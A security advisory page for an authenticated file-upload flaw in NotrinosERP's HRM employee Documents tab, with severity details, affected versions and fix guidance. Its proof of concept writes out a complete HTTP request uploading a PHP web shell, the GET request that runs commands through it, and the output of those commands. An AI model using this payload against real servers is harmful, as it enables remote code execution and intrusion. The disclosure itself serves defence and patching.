high · 8.8 Patched

NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

CVE-2026-76913 · GHSA-qv4m-m73m-8hj7 · published 10 Jul 2026

How serious is it

  • Severity: high, CVSS score 8.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-76913?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • notrinos/notrinos-erp (Packagist) <= 1.0.0

How to check

  1. Run composer show notrinos/notrinos-erp in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade notrinos/notrinos-erp to 1.1.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

#### Summary An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web-served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server. #### Details The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim: ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile-photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. Reachability of the written file: - `company_path()` resolves under the web root; `config.default.php` sets `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`. - The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log` only — it does **not** block `.php` and does **not** cover `company/`. - The stored path is then echoed **unescaped** into a clickable "View" link (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79). A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`. #### Proof of Concept The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by `check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the hidden `_token`, then submit. Against your **own** local instance: ```http POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1 Host: <your-local-instance> Cookie: <authenticated session> Content-Type: multipart/form-data; boundary=b --b Content-Disposition: form-data; name="_token" <value of the hidden _token field from the GET response> --b Content-Disposition: form-data; name="doc_type_id" <a valid document type id> --b Content-Disposition: form-data; name="doc_name" x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['c']); ?> --b Content-Disposition: form-data; name="save_document" Save Document --b-- ``` Then request the stored file (its exact path is shown in the Documents tab's "View" link): ```http GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1 ``` The command in `c` executes on the server. #### Validation (performed locally, no network) The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload: ``` $ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id' uid=501(...) gid=20(staff) ... $ curl '.../<same>.php?c=uname%20-sm;whoami' Darwin arm64 <user> ``` Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file. #### Impact Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2). #### Suggested fix - Never use the client filename on disk. Store with a server-generated name and **no executable extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic` branch already does. - Store uploads outside the web root, or drop an `.htaccess`/`web.config` in `company/*/documents/` that disables script execution (`php_admin_flag engine off`, `RemoveHandler .php`, `SetHandler none`). - `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS). #### References / credit - Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`. - Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON